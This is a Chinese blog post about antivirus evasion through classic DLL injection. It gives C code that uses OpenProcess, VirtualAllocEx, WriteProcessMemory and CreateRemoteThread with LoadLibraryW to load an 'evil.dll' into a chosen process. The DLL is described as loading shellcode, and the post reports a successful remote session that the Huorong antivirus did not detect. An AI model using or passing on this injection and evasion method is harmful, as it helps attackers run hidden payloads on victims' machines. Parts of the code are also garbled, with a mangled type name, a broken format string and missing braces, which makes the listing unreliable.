免杀 经典DLL注入

admin 2024年3月9日14:10:46评论17 views字数 1201阅读4分0秒阅读模式

免责声明

      文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任

根据以往的远程注入知识来实现DLL注入

#include <Windows.h>

#include <stdio.h>。

int main(int argc, char* argv[])

DLE processHandle;

PVOID remoteBuffer;//声明了用于处理进程和远程内存的句柄和指针。

wchar_t dllPath[] = TEXT("C:\Users\Polar bear\Desktop\DLLinject\evil.dll");

//定义了要注入的DLL的路径。

printf("Injecting DLL to PID: %in", atoi(argv[1]));

//打印要注入的DLL的进程ID。

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

//打开了指定进程的句柄。

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

//在指定进程中分配了内存空间

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

//将DLL的路径写入了指定进程的内存空间。

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

//获取了 LoadLibraryW 函数的地址。

CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);

//在指定进程中创建了一个远程线程,以便加载DLL。

CloseHandle(processHandle);

//关闭了进程句柄。

return 0;

//返回了程序执行的结果。

   这段代码的作用是打开一个指定进程的句柄,向其分配内存空间,将DLL路径写入该进程的内存中,然后创建一个远程线程来加载该DLL。

接下来实际操作:

免杀 经典DLL注入

这里我们dll中写入记载shellcode的代码

免杀 经典DLL注入

这里我们在命令行处进行exe的执行,将我们要注入的进程号给到(在测试的时候尽量不要注入到重要的进程中否则电脑可能会崩溃)

免杀 经典DLL注入

可以看到成功上线

免杀 经典DLL注入

免杀 经典DLL注入

当然咱得火绒大大也是没有报毒。

原文始发于微信公众号(泾弦安全):免杀 经典DLL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月9日14:10:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 经典DLL注入http://cn-sec.com/archives/2559850.html

发表评论

匿名网友 填写信息